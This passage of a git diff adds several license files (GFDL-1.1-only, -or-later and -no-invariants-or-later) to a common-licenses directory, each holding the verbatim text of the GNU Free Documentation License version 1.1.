+You may add a passage of up to five words as a Front-Cover Text, and a passage of up to 25 words as a Back-Cover Text, to the end of the list of Cover Texts in the Modified Version. Only one passage of Front-Cover Text and one of Back-Cover Text may be added by (or through arrangements made by) any one entity. If the Document already includes a cover text for the same cover, previously added by you or by arrangement made by the same entity you are acting on behalf of, you may not add another; but you may replace the old one, on explicit permission from the previous publisher that added the old one.
+
+The author(s) and publisher(s) of the Document do not by this License give permission to use their names for publicity for or to assert or imply endorsement of any Modified Version.
+
+5. COMBINING DOCUMENTS
+
+You may combine the Document with other documents released under this License, under the terms defined in section 4 above for modified versions, provided that you include in the combination all of the Invariant Sections of all of the original documents, unmodified, and list them all as Invariant Sections of your combined work in its license notice.
+
+The combined work need only contain one copy of this License, and multiple identical Invariant Sections may be replaced with a single copy. If there are multiple Invariant Sections with the same name but different contents, make the title of each such section unique by adding at the end of it, in parentheses, the name of the original author or publisher of that section if known, or else a unique number. Make the same adjustment to the section titles in the list of Invariant Sections in the license notice of the combined work.
+
+In the combination, you must combine any sections entitled "History" in the various original documents, forming one section entitled "History"; likewise combine any sections entitled "Acknowledgements", and any sections entitled "Dedications". You must delete all sections entitled "Endorsements."
+
+6. COLLECTIONS OF DOCUMENTS
+
+You may make a collection consisting of the Document and other documents released under this License, and replace the individual copies of this License in the various documents with a single copy that is included in the collection, provided that you follow the rules of this License for verbatim copying of each of the documents in all other respects.
+
+You may extract a single document from such a collection, and distribute it individually under this License, provided you insert a copy of this License into the extracted document, and follow this License in all other respects regarding verbatim copying of that document.
+
+7. AGGREGATION WITH INDEPENDENT WORKS
+
+A compilation of the Document or its derivatives with other separate and independent documents or works, in or on a volume of a storage or distribution medium, does not as a whole count as a Modified Version of the Document, provided no compilation copyright is claimed for the compilation. Such a compilation is called an "aggregate", and this License does not apply to the other self-contained works thus compiled with the Document, on account of their being thus compiled, if they are not themselves derivative works of the Document.
+
+If the Cover Text requirement of section 3 is applicable to these copies of the Document, then if the Document is less than one quarter of the entire aggregate, the Document's Cover Texts may be placed on covers that surround only the Document within the aggregate. Otherwise they must appear on covers around the whole aggregate.
+
+8. TRANSLATION
+
+Translation is considered a kind of modification, so you may distribute translations of the Document under the terms of section 4. Replacing Invariant Sections with translations requires special permission from their copyright holders, but you may include translations of some or all Invariant Sections in addition to the original versions of these Invariant Sections. You may include a translation of this License provided that you also include the original English version of this License. In case of a disagreement between the translation and the original English version of this License, the original English version will prevail.
+
+9. TERMINATION
+
+You may not copy, modify, sublicense, or distribute the Document except as expressly provided for under this License. Any other attempt to copy, modify, sublicense or distribute the Document is void, and will automatically terminate your rights under this License. However, parties who have received copies, or rights, from you under this License will not have their licenses terminated so long as such parties remain in full compliance.
+
+10. FUTURE REVISIONS OF THIS LICENSE
+
+The Free Software Foundation may publish new, revised versions of the GNU Free Documentation License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. See http://www.gnu.org/copyleft/.
+
+Each version of the License is given a distinguishing version number. If the Document specifies that a particular numbered version of this License "or any later version" applies to it, you have the option of following the terms and conditions either of that specified version or of any later version that has been published (not as a draft) by the Free Software Foundation. If the Document does not specify a version number of this License, you may choose any version ever published (not as a draft) by the Free Software Foundation.
+
+ADDENDUM: How to use this License for your documents
+
+To use this License in a document you have written, include a copy of the License in the document and put the following copyright and license notices just after the title page:
+
+ Copyright (c) YEAR YOUR NAME. Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.1 or any later version published by the Free Software Foundation; with the Invariant Sections being LIST THEIR TITLES, with the Front-Cover Texts being LIST, and with the Back-Cover Texts being LIST. A copy of the license is included in the section entitled "GNU Free Documentation License".
+
+If you have no Invariant Sections, write "with no Invariant Sections" instead of saying which ones are invariant. If you have no Front-Cover Texts, write "no Front-Cover Texts" instead of "Front-Cover Texts being LIST"; likewise for Back-Cover Texts.
+
+If your document contains nontrivial examples of program code, we recommend releasing these examples in parallel under your choice of free software license, such as the GNU General Public License, to permit their use in free software.
diff --git a/meta/files/common-licenses/GFDL-1.1-no-invariants-or-later b/meta/files/common-licenses/GFDL-1.1-no-invariants-or-later
new file mode 100644
index 0000000000..e60192009a
--- /dev/null
+++ b/meta/files/common-licenses/GFDL-1.1-no-invariants-or-later
@@ -0,0 +1,119 @@
+GNU Free Documentation License
+Version 1.1, March 2000
+
+Copyright (C) 2000 Free Software Foundation, Inc. 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
+
+Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed.
+
+0. PREAMBLE
+
+The purpose of this License is to make a manual, textbook, or other written document "free" in the sense of freedom: to assure everyone the effective freedom to copy and redistribute it, with or without modifying it, either commercially or noncommercially. Secondarily, this License preserves for the author and publisher a way to get credit for their work, while not being considered responsible for modifications made by others.
+
+This License is a kind of "copyleft", which means that derivative works of the document must themselves be free in the same sense. It complements the GNU General Public License, which is a copyleft license designed for free software.
+
+We have designed this License in order to use it for manuals for free software, because free software needs free documentation: a free program should come with manuals providing the same freedoms that the software does. But this License is not limited to software manuals; it can be used for any textual work, regardless of subject matter or whether it is published as a printed book. We recommend this License principally for works whose purpose is instruction or reference.
+
+1. APPLICABILITY AND DEFINITIONS
+
+This License applies to any manual or other work that contains a notice placed by the copyright holder saying it can be distributed under the terms of this License. The "Document", below, refers to any such manual or work. Any member of the public is a licensee, and is addressed as "you".
+
+A "Modified Version" of the Document means any work containing the Document or a portion of it, either copied verbatim, or with modifications and/or translated into another language.
+
+A "Secondary Section" is a named appendix or a front-matter section of the Document that deals exclusively with the relationship of the publishers or authors of the Document to the Document's overall subject (or to related matters) and contains nothing that could fall directly within that overall subject. (For example, if the Document is in part a textbook of mathematics, a Secondary Section may not explain any mathematics.) The relationship could be a matter of historical connection with the subject or with related matters, or of legal, commercial, philosophical, ethical or political position regarding them.
+
+The "Invariant Sections" are certain Secondary Sections whose titles are designated, as being those of Invariant Sections, in the notice that says that the Document is released under this License.
+
+The "Cover Texts" are certain short passages of text that are listed, as Front-Cover Texts or Back-Cover Texts, in the notice that says that the Document is released under this License.
+
+A "Transparent" copy of the Document means a machine-readable copy, represented in a format whose specification is available to the general public, whose contents can be viewed and edited directly and straightforwardly with generic text editors or (for images composed of pixels) generic paint programs or (for drawings) some widely available drawing editor, and that is suitable for input to text formatters or for automatic translation to a variety of formats suitable for input to text formatters. A copy made in an otherwise Transparent file format whose markup has been designed to thwart or discourage subsequent modification by readers is not Transparent. A copy that is not "Transparent" is called "Opaque".
+
+Examples of suitable formats for Transparent copies include plain ASCII without markup, Texinfo input format, LaTeX input format, SGML or XML using a publicly available DTD, and standard-conforming simple HTML designed for human modification. Opaque formats include PostScript, PDF, proprietary formats that can be read and edited only by proprietary word processors, SGML or XML for which the DTD and/or processing tools are not generally available, and the machine-generated HTML produced by some word processors for output purposes only.
+
+The "Title Page" means, for a printed book, the title page itself, plus such following pages as are needed to hold, legibly, the material this License requires to appear in the title page. For works in formats which do not have any title page as such, "Title Page" means the text near the most prominent appearance of the work's title, preceding the beginning of the body of the text.
+
+2. VERBATIM COPYING
+
+You may copy and distribute the Document in any medium, either commercially or noncommercially, provided that this License, the copyright notices, and the license notice saying this License applies to the Document are reproduced in all copies, and that you add no other conditions whatsoever to those of this License. You may not use technical measures to obstruct or control the reading or further copying of the copies you make or distribute. However, you may accept compensation in exchange for copies. If you distribute a large enough number of copies you must also follow the conditions in section 3.
+
+You may also lend copies, under the same conditions stated above, and you may publicly display copies.
+
+3. COPYING IN QUANTITY
+
+If you publish printed copies of the Document numbering more than 100, and the Document's license notice requires Cover Texts, you must enclose the copies in covers that carry, clearly and legibly, all these Cover Texts: Front-Cover Texts on the front cover, and Back-Cover Texts on the back cover. Both covers must also clearly and legibly identify you as the publisher of these copies. The front cover must present the full title with all words of the title equally prominent and visible. You may add other material on the covers in addition. Copying with changes limited to the covers, as long as they preserve the title of the Document and satisfy these conditions, can be treated as verbatim copying in other respects.
+
+If the required texts for either cover are too voluminous to fit legibly, you should put the first ones listed (as many as fit reasonably) on the actual cover, and continue the rest onto adjacent pages.
+
+If you publish or distribute Opaque copies of the Document numbering more than 100, you must either include a machine-readable Transparent copy along with each Opaque copy, or state in or with each Opaque copy a publicly-accessible computer-network location containing a complete Transparent copy of the Document, free of added material, which the general network-using public has access to download anonymously at no charge using public-standard network protocols. If you use the latter option, you must take reasonably prudent steps, when you begin distribution of Opaque copies in quantity, to ensure that this Transparent copy will remain thus accessible at the stated location until at least one year after the last time you distribute an Opaque copy (directly or through your agents or retailers) of that edition to the public.
+
+It is requested, but not required, that you contact the authors of the Document well before redistributing any large number of copies, to give them a chance to provide you with an updated version of the Document.
+
+4. MODIFICATIONS
+
+You may copy and distribute a Modified Version of the Document under the conditions of sections 2 and 3 above, provided that you release the Modified Version under precisely this License, with the Modified Version filling the role of the Document, thus licensing distribution and modification of the Modified Version to whoever possesses a copy of it. In addition, you must do these things in the Modified Version:
+
+ A. Use in the Title Page (and on the covers, if any) a title distinct from that of the Document, and from those of previous versions (which should, if there were any, be listed in the History section of the Document). You may use the same title as a previous version if the original publisher of that version gives permission.
+ B. List on the Title Page, as authors, one or more persons or entities responsible for authorship of the modifications in the Modified Version, together with at least five of the principal authors of the Document (all of its principal authors, if it has less than five).
+ C. State on the Title page the name of the publisher of the Modified Version, as the publisher.
+ D. Preserve all the copyright notices of the Document.
+ E. Add an appropriate copyright notice for your modifications adjacent to the other copyright notices.
+ F. Include, immediately after the copyright notices, a license notice giving the public permission to use the Modified Version under the terms of this License, in the form shown in the Addendum below.
+ G. Preserve in that license notice the full lists of Invariant Sections and required Cover Texts given in the Document's license notice.
+ H. Include an unaltered copy of this License.
+ I. Preserve the section entitled "History", and its title, and add to it an item stating at least the title, year, new authors, and publisher of the Modified Version as given on the Title Page. If there is no section entitled "History" in the Document, create one stating the title, year, authors, and publisher of the Document as given on its Title Page, then add an item describing the Modified Version as stated in the previous sentence.
+ J. Preserve the network location, if any, given in the Document for public access to a Transparent copy of the Document, and likewise the network locations given in the Document for previous versions it was based on. These may be placed in the "History" section. You may omit a network location for a work that was published at least four years before the Document itself, or if the original publisher of the version it refers to gives permission.
+ K. In any section entitled "Acknowledgements" or "Dedications", preserve the section's title, and preserve in the section all the substance and tone of each of the contributor acknowledgements and/or dedications given therein.
+ L. Preserve all the Invariant Sections of the Document, unaltered in their text and in their titles. Section numbers or the equivalent are not considered part of the section titles.
+ M. Delete any section entitled "Endorsements". Such a section may not be included in the Modified Version.
+ N. Do not retitle any existing section as "Endorsements" or to conflict in title with any Invariant Section.
+
+If the Modified Version includes new front-matter sections or appendices that qualify as Secondary Sections and contain no material copied from the Document, you may at your option designate some or all of these sections as invariant. To do this, add their titles to the list of Invariant Sections in the Modified Version's license notice. These titles must be distinct from any other section titles.
+
+You may add a section entitled "Endorsements", provided it contains nothing but endorsements of your Modified Version by various parties--for example, statements of peer review or that the text has been approved by an organization as the authoritative definition of a standard.
+
+You may add a passage of up to five words as a Front-Cover Text, and a passage of up to 25 words as a Back-Cover Text, to the end of the list of Cover Texts in the Modified Version. Only one passage of Front-Cover Text and one of Back-Cover Text may be added by (or through arrangements made by) any one entity. If the Document already includes a cover text for the same cover, previously added by you or by arrangement made by the same entity you are acting on behalf of, you may not add another; but you may replace the old one, on explicit permission from the previous publisher that added the old one.
+
+The author(s) and publisher(s) of the Document do not by this License give permission to use their names for publicity for or to assert or imply endorsement of any Modified Version.
+
+5. COMBINING DOCUMENTS
+
+You may combine the Document with other documents released under this License, under the terms defined in section 4 above for modified versions, provided that you include in the combination all of the Invariant Sections of all of the original documents, unmodified, and list them all as Invariant Sections of your combined work in its license notice.
+
+The combined work need only contain one copy of this License, and multiple identical Invariant Sections may be replaced with a single copy. If there are multiple Invariant Sections with the same name but different contents, make the title of each such section unique by adding at the end of it, in parentheses, the name of the original author or publisher of that section if known, or else a unique number. Make the same adjustment to the section titles in the list of Invariant Sections in the license notice of the combined work.
+
+In the combination, you must combine any sections entitled "History" in the various original documents, forming one section entitled "History"; likewise combine any sections entitled "Acknowledgements", and any sections entitled "Dedications". You must delete all sections entitled "Endorsements."
+
+6. COLLECTIONS OF DOCUMENTS
+
+You may make a collection consisting of the Document and other documents released under this License, and replace the individual copies of this License in the various documents with a single copy that is included in the collection, provided that you follow the rules of this License for verbatim copying of each of the documents in all other respects.
+
+You may extract a single document from such a collection, and distribute it individually under this License, provided you insert a copy of this License into the extracted document, and follow this License in all other respects regarding verbatim copying of that document.
+
+7. AGGREGATION WITH INDEPENDENT WORKS
+
+A compilation of the Document or its derivatives with other separate and independent documents or works, in or on a volume of a storage or distribution medium, does not as a whole count as a Modified Version of the Document, provided no compilation copyright is claimed for the compilation. Such a compilation is called an "aggregate", and this License does not apply to the other self-contained works thus compiled with the Document, on account of their being thus compiled, if they are not themselves derivative works of the Document.
+
+If the Cover Text requirement of section 3 is applicable to these copies of the Document, then if the Document is less than one quarter of the entire aggregate, the Document's Cover Texts may be placed on covers that surround only the Document within the aggregate. Otherwise they must appear on covers around the whole aggregate.
+
+8. TRANSLATION
+
+Translation is considered a kind of modification, so you may distribute translations of the Document under the terms of section 4. Replacing Invariant Sections with translations requires special permission from their copyright holders, but you may include translations of some or all Invariant Sections in addition to the original versions of these Invariant Sections. You may include a translation of this License provided that you also include the original English version of this License. In case of a disagreement between the translation and the original English version of this License, the original English version will prevail.
+
+9. TERMINATION
+
+You may not copy, modify, sublicense, or distribute the Document except as expressly provided for under this License. Any other attempt to copy, modify, sublicense or distribute the Document is void, and will automatically terminate your rights under this License. However, parties who have received copies, or rights, from you under this License will not have their licenses terminated so long as such parties remain in full compliance.
+
+10. FUTURE REVISIONS OF THIS LICENSE
+
+The Free Software Foundation may publish new, revised versions of the GNU Free Documentation License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. See http://www.gnu.org/copyleft/.
+
+Each version of the License is given a distinguishing version number. If the Document specifies that a particular numbered version of this License "or any later version" applies to it, you have the option of following the terms and conditions either of that specified version or of any later version that has been published (not as a draft) by the Free Software Foundation. If the Document does not specify a version number of this License, you may choose any version ever published (not as a draft) by the Free Software Foundation.
+
+ADDENDUM: How to use this License for your documents
+
+To use this License in a document you have written, include a copy of the License in the document and put the following copyright and license notices just after the title page:
+
+ Copyright (c) YEAR YOUR NAME. Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.1 or any later version published by the Free Software Foundation; with the Invariant Sections being LIST THEIR TITLES, with the Front-Cover Texts being LIST, and with the Back-Cover Texts being LIST. A copy of the license is included in the section entitled "GNU Free Documentation License".
+
+If you have no Invariant Sections, write "with no Invariant Sections" instead of saying which ones are invariant. If you have no Front-Cover Texts, write "no Front-Cover Texts" instead of "Front-Cover Texts being LIST"; likewise for Back-Cover Texts.
+
+If your document contains nontrivial examples of program code, we recommend releasing these examples in parallel under your choice of free software license, such as the GNU General Public License, to permit their use in free software.
diff --git a/meta/files/common-licenses/GFDL-1.1-only b/meta/files/common-licenses/GFDL-1.1-only
new file mode 100644
index 0000000000..e60192009a
--- /dev/null
+++ b/meta/files/common-licenses/GFDL-1.1-only
@@ -0,0 +1,119 @@
+GNU Free Documentation License
+Version 1.1, March 2000
+
+Copyright (C) 2000 Free Software Foundation, Inc. 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
+
+Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed.
+
+0. PREAMBLE
+
+The purpose of this License is to make a manual, textbook, or other written document "free" in the sense of freedom: to assure everyone the effective freedom to copy and redistribute it, with or without modifying it, either commercially or noncommercially. Secondarily, this License preserves for the author and publisher a way to get credit for their work, while not being considered responsible for modifications made by others.
+
+This License is a kind of "copyleft", which means that derivative works of the document must themselves be free in the same sense. It complements the GNU General Public License, which is a copyleft license designed for free software.
+
+We have designed this License in order to use it for manuals for free software, because free software needs free documentation: a free program should come with manuals providing the same freedoms that the software does. But this License is not limited to software manuals; it can be used for any textual work, regardless of subject matter or whether it is published as a printed book. We recommend this License principally for works whose purpose is instruction or reference.
+
+1. APPLICABILITY AND DEFINITIONS
+
+This License applies to any manual or other work that contains a notice placed by the copyright holder saying it can be distributed under the terms of this License. The "Document", below, refers to any such manual or work. Any member of the public is a licensee, and is addressed as "you".
+
+A "Modified Version" of the Document means any work containing the Document or a portion of it, either copied verbatim, or with modifications and/or translated into another language.
+
+A "Secondary Section" is a named appendix or a front-matter section of the Document that deals exclusively with the relationship of the publishers or authors of the Document to the Document's overall subject (or to related matters) and contains nothing that could fall directly within that overall subject. (For example, if the Document is in part a textbook of mathematics, a Secondary Section may not explain any mathematics.) The relationship could be a matter of historical connection with the subject or with related matters, or of legal, commercial, philosophical, ethical or political position regarding them.
+
+The "Invariant Sections" are certain Secondary Sections whose titles are designated, as being those of Invariant Sections, in the notice that says that the Document is released under this License.
+
+The "Cover Texts" are certain short passages of text that are listed, as Front-Cover Texts or Back-Cover Texts, in the notice that says that the Document is released under this License.
+
+A "Transparent" copy of the Document means a machine-readable copy, represented in a format whose specification is available to the general public, whose contents can be viewed and edited directly and straightforwardly with generic text editors or (for images composed of pixels) generic paint programs or (for drawings) some widely available drawing editor, and that is suitable for input to text formatters or for automatic translation to a variety of formats suitable for input to text formatters. A copy made in an otherwise Transparent file format whose markup has been designed to thwart or discourage subsequent modification by readers is not Transparent. A copy that is not "Transparent" is called "Opaque".
+
+Examples of suitable formats for Transparent copies include plain ASCII without markup, Texinfo input format, LaTeX input format, SGML or XML using a publicly available DTD, and standard-conforming simple HTML designed for human modification. Opaque formats include PostScript, PDF, proprietary formats that can be read and edited only by proprietary word processors, SGML or XML for which the DTD and/or processing tools are not generally available, and the machine-generated HTML produced by some word processors for output purposes only.
+
+The "Title Page" means, for a printed book, the title page itself, plus such following pages as are needed to hold, legibly, the material this License requires to appear in the title page. For works in formats which do not have any title page as such, "Title Page" means the text near the most prominent appearance of the work's title, preceding the beginning of the body of the text.
+
+2. VERBATIM COPYING
+
+You may copy and distribute the Document in any medium, either commercially or noncommercially, provided that this License, the copyright notices, and the license notice saying this License applies to the Document are reproduced in all copies, and that you add no other conditions whatsoever to those of this License. You may not use technical measures to obstruct or control the reading or further copying of the copies you make or distribute. However, you may accept compensation in exchange for copies. If you distribute a large enough number of copies you must also follow the conditions in section 3.
+
+You may also lend copies, under the same conditions stated above, and you may publicly display copies.
+
+3. COPYING IN QUANTITY
+
+If you publish printed copies of the Document numbering more than 100, and the Document's license notice requires Cover Texts, you must enclose the copies in covers that carry, clearly and legibly, all these Cover Texts: Front-Cover Texts on the front cover, and Back-Cover Texts on the back cover. Both covers must also clearly and legibly identify you as the publisher of these copies. The front cover must present the full title with all words of the title equally prominent and visible. You may add other material on the covers in addition. Copying with changes limited to the covers, as long as they preserve the title of the Document and satisfy these conditions, can be treated as verbatim copying in other respects.
+
+If the required texts for either cover are too voluminous to fit legibly, you should put the first ones listed (as many as fit reasonably) on the actual cover, and continue the rest onto adjacent pages.
+
+If you publish or distribute Opaque copies of the Document numbering more than 100, you must either include a machine-readable Transparent copy along with each Opaque copy, or state in or with each Opaque copy a publicly-accessible computer-network location containing a complete Transparent copy of the Document, free of added material, which the general network-using public has access to download anonymously at no charge using public-standard network protocols. If you use the latter option, you must take reasonably prudent steps, when you begin distribution of Opaque copies in quantity, to ensure that this Transparent copy will remain thus accessible at the stated location until at least one year after the last time you distribute an Opaque copy (directly or through your agents or retailers) of that edition to the public.
+
+It is requested, but not required, that you contact the authors of the Document well before redistributing any large number of copies, to give them a chance to provide you with an updated version of the Document.
+
+4. MODIFICATIONS
+
+You may copy and distribute a Modified Version of the Document under the conditions of sections 2 and 3 above, provided that you release the Modified Version under precisely this License, with the Modified Version filling the role of the Document, thus licensing distribution and modification of the Modified Version to whoever possesses a copy of it. In addition, you must do these things in the Modified Version:
+
+ A. Use in the Title Page (and on the covers, if any) a title distinct from that of the Document, and from those of previous versions (which should, if there were any, be listed in the History section of the Document). You may use the same title as a previous version if the original publisher of that version gives permission.
+ B. List on the Title Page, as authors, one or more persons or entities responsible for authorship of the modifications in the Modified Version, together with at least five of the principal authors of the Document (all of its principal authors, if it has less than five).
+ C. State on the Title page the name of the publisher of the Modified Version, as the publisher.
+ D. Preserve all the copyright notices of the Document.
+ E. Add an appropriate copyright notice for your modifications adjacent to the other copyright notices.
+ F. Include, immediately after the copyright notices, a license notice giving the public permission to use the Modified Version under the terms of this License, in the form shown in the Addendum below.
+ G. Preserve in that license notice the full lists of Invariant Sections and required Cover Texts given in the Document's license notice.
+ H. Include an unaltered copy of this License.
+ I. Preserve the section entitled "History", and its title, and add to it an item stating at least the title, year, new authors, and publisher of the Modified Version as given on the Title Page. If there is no section entitled "History" in the Document, create one stating the title, year, authors, and publisher of the Document as given on its Title Page, then add an item describing the Modified Version as stated in the previous sentence.
+ J. Preserve the network location, if any, given in the Document for public access to a Transparent copy of the Document, and likewise the network locations given in the Document for previous versions it was based on. These may be placed in the "History" section. You may omit a network location for a work that was published at least four years before the Document itself, or if the original publisher of the version it refers to gives permission.
+ K. In any section entitled "Acknowledgements" or "Dedications", preserve the section's title, and preserve in the section all the substance and tone of each of the contributor acknowledgements and/or dedications given therein.
+ L. Preserve all the Invariant Sections of the Document, unaltered in their text and in their titles. Section numbers or the equivalent are not considered part of the section titles.
+ M. Delete any section entitled "Endorsements". Such a section may not be included in the Modified Version.
+ N. Do not retitle any existing section as "Endorsements" or to conflict in title with any Invariant Section.
+
+If the Modified Version includes new front-matter sections or appendices that qualify as Secondary Sections and contain no material copied from the Document, you may at your option designate some or all of these sections as invariant. To do this, add their titles to the list of Invariant Sections in the Modified Version's license notice. These titles must be distinct from any other section titles.
+
+You may add a section entitled "Endorsements", provided it contains nothing but endorsements of your Modified Version by various parties--for example, statements of peer review or that the text has been approved by an organization as the authoritative definition of a standard.
+
+You may add a passage of up to five words as a Front-Cover Text, and a passage of up to 25 words as a Back-Cover Text, to the end of the list of Cover Texts in the Modified Version. Only one passage of Front-Cover Text and one of Back-Cover Text may be added by (or through arrangements made by) any one entity. If the Document already includes a cover text for the same cover, previously added by you or by arrangement made by the same entity you are acting on behalf of, you may not add another; but you may replace the old one, on explicit permission from the previous publisher that added the old one.
+
+The author(s) and publisher(s) of the Document do not by this License give permission to use their names for publicity for or to assert or imply endorsement of any Modified Version.
+
+5. COMBINING DOCUMENTS
+
+You may combine the Document with other documents released under this License, under the terms defined in section 4 above for modified versions, provided that you include in the combination all of the Invariant Sections of all of the original documents, unmodified, and list them all as Invariant Sections of your combined work in its license notice.
+
+The combined work need only contain one copy of this License, and multiple identical Invariant Sections may be replaced with a single copy. If there are multiple Invariant Sections with the same name but different contents, make the title of each such section unique by adding at the end of it, in parentheses, the name of the original author or publisher of that section if known, or else a unique number. Make the same adjustment to the section titles in the list of Invariant Sections in the license notice of the combined work.
+
+In the combination, you must combine any sections entitled "History" in the various original documents, forming one section entitled "History"; likewise combine any sections entitled "Acknowledgements", and any sections entitled "Dedications". You must delete all sections entitled "Endorsements."
+
+6. COLLECTIONS OF DOCUMENTS
+
+You may make a collection consisting of the Document and other documents released under this License, and replace the individual copies of this License in the various documents with a single copy that is included in the collection, provided that you follow the rules of this License for verbatim copying of each of the documents in all other respects.
+
+You may extract a single document from such a collection, and distribute it individually under this License, provided you insert a copy of this License into the extracted document, and follow this License in all other respects regarding verbatim copying of that document.
+
+7. AGGREGATION WITH INDEPENDENT WORKS
+
+A compilation of the Document or its derivatives with other separate and independent documents or works, in or on a volume of a storage or distribution medium, does not as a whole count as a Modified Version of the Document, provided no compilation copyright is claimed for the compilation. Such a compilation is called an "aggregate", and this License does not apply to the other self-contained works thus compiled with the Document, on account of their being thus compiled, if they are not themselves derivative works of the Document.
+
+If the Cover Text requirement of section 3 is applicable to these copies of the Document, then if the Document is less than one quarter of the entire aggregate, the Document's Cover Texts may be placed on covers that surround only the Document within the aggregate. Otherwise they must appear on covers around the whole aggregate.
+
+8. TRANSLATION
+
+Translation is considered a kind of modification, so you may distribute translations of the Document under the terms of section 4. Replacing Invariant Sections with translations requires special permission from their copyright holders, but you may include translations of some or all Invariant Sections in addition to the original versions of these Invariant Sections. You may include a translation of this License provided that you also include the original English version of this License. In case of a disagreement between the translation and the original English version of this License, the original English version will prevail.
+
+9. TERMINATION
+
+You may not copy, modify, sublicense, or distribute the Document except as expressly provided for under this License. Any other attempt to copy, modify, sublicense or distribute the Document is void, and will automatically terminate your rights under this License. However, parties who have received copies, or rights, from you under this License will not have their licenses terminated so long as such parties remain in full compliance.
+
+10. FUTURE REVISIONS OF THIS LICENSE
+
+The Free Software Foundation may publish new, revised versions of the GNU Free Documentation License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. See http://www.gnu.org/copyleft/.
+
+Each version of the License is given a distinguishing version number. If the Document specifies that a particular numbered version of this License "or any later version" applies to it, you have the option of following the terms and conditions either of that specified version or of any later version that has been published (not as a draft) by the Free Software Foundation. If the Document does not specify a version number of this License, you may choose any version ever published (not as a draft) by the Free Software Foundation.
+
+ADDENDUM: How to use this License for your documents
+
+To use this License in a document you have written, include a copy of the License in the document and put the following copyright and license notices just after the title page:
+
+ Copyright (c) YEAR YOUR NAME. Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.1 or any later version published by the Free Software Foundation; with the Invariant Sections being LIST THEIR TITLES, with the Front-Cover Texts being LIST, and with the Back-Cover Texts being LIST. A copy of the license is included in the section entitled "GNU Free Documentation License".
+
+If you have no Invariant Sections, write "with no Invariant Sections" instead of saying which ones are invariant. If you have no Front-Cover Texts, write "no Front-Cover Texts" instead of "Front-Cover Texts being LIST"; likewise for Back-Cover Texts.
+
+If your document contains nontrivial examples of program code, we recommend releasing these examples in parallel under your choice of free software license, such as the GNU General Public License, to permit their use in free software.
diff --git a/meta/files/common-licenses/GFDL-1.1-or-later b/meta/files/common-licenses/GFDL-1.1-or-later
new file mode 100644
index 0000000000..e60192009a
--- /dev/null
+++ b/meta/files/common-licenses/GFDL-1.1-or-later
@@ -0,0 +1,119 @@
+GNU Free Documentation License
+Version 1.1, March 2000
+
+Copyright (C) 2000 Free Software Foundation, Inc. 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
+
+Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed.
+
+0. PREAMBLE
+
+The purpose of this License is to make a manual, textbook, or other written document "free" in the sense of freedom: to assure everyone the effective freedom to copy and redistribute it, with or without modifying it, either commercially or noncommercially. Secondarily, this License preserves for the author and publisher a way to get credit for their work, while not being considered responsible for modifications made by others.
+
+This License is a kind of "copyleft", which means that derivative works of the document must themselves be free in the same sense. It complements the GNU General Public License, which is a copyleft license designed for free software.
+
+We have designed this License in order to use it for manuals for free software, because free software needs free documentation: a free program should come with manuals providing the same freedoms that the software does. But this License is not limited to software manuals; it can be used for any textual work, regardless of subject matter or whether it is published as a printed book. We recommend this License principally for works whose purpose is instruction or reference.
+
+1. APPLICABILITY AND DEFINITIONS
+
+This License applies to any manual or other work that contains a notice placed by the copyright holder saying it can be distributed under the terms of this License. The "Document", below, refers to any such manual or work. Any member of the public is a licensee, and is addressed as "you".
+
+A "Modified Version" of the Document means any work containing the Document or a portion of it, either copied verbatim, or with modifications and/or translated into another language.
+
+A "Secondary Section" is a named appendix or a front-matter section of the Document that deals exclusively with the relationship of the publishers or authors of the Document to the Document's overall subject (or to related matters) and contains nothing that could fall directly within that overall subject. (For example, if the Document is in part a textbook of mathematics, a Secondary Section may not explain any mathematics.) The relationship could be a matter of historical connection with the subject or with related matters, or of legal, commercial, philosophical, ethical or political position regarding them.
+
+The "Invariant Sections" are certain Secondary Sections whose titles are designated, as being those of Invariant Sections, in the notice that says that the Document is released under this License.
+
+The "Cover Texts" are certain short passages of text that are listed, as Front-Cover Texts or Back-Cover Texts, in the notice that says that the Document is released under this License.
+
+A "Transparent" copy of the Document means a machine-readable copy, represented in a format whose specification is available to the general public, whose contents can be viewed and edited directly and straightforwardly with generic text editors or (for images composed of pixels) generic paint programs or (for drawings) some widely available drawing editor, and that is suitable for input to text formatters or for automatic translation to a variety of formats suitable for input to text formatters. A copy made in an otherwise Transparent file format whose markup has been designed to thwart or discourage subsequent modification by readers is not Transparent. A copy that is not "Transparent" is called "Opaque".
+
+Examples of suitable formats for Transparent copies include plain ASCII without markup, Texinfo input format, LaTeX input format, SGML or XML using a publicly available DTD, and standard-conforming simple HTML designed for human modification. Opaque formats include PostScript, PDF, proprietary formats that can be read and edited only by proprietary word processors, SGML or XML for which the DTD and/or processing tools are not generally available, and the machine-generated HTML produced by some word processors for output purposes only.
+
+The "Title Page" means, for a printed book, the title page itself, plus such following pages as are needed to hold, legibly, the material this License requires to appear in the title page. For works in formats which do not have any title page as such, "Title Page" means the text near the most prominent appearance of the work's title, preceding the beginning of the body of the text.
+
+2. VERBATIM COPYING
+
+You may copy and distribute the Document in any medium, either commercially or noncommercially, provided that this License, the copyright notices, and the license notice saying this License applies to the Document are reproduced in all copies, and that you add no other conditions whatsoever to those of this License. You may not use technical measures to obstruct or control the reading or further copying of the copies you make or distribute. However, you may accept compensation in exchange for copies. If you distribute a large enough number of copies you must also follow the conditions in section 3.
+
+You may also lend copies, under the same conditions stated above, and you may publicly display copies.
+
+3. COPYING IN QUANTITY
+
+If you publish printed copies of the Document numbering more than 100, and the Document's license notice requires Cover Texts, you must enclose the copies in covers that carry, clearly and legibly, all these Cover Texts: Front-Cover Texts on the front cover, and Back-Cover Texts on the back cover. Both covers must also clearly and legibly identify you as the publisher of these copies. The front cover must present the full title with all words of the title equally prominent and visible. You may add other material on the covers in addition. Copying with changes limited to the covers, as long as they preserve the title of the Document and satisfy these conditions, can be treated as verbatim copying in other respects.
+
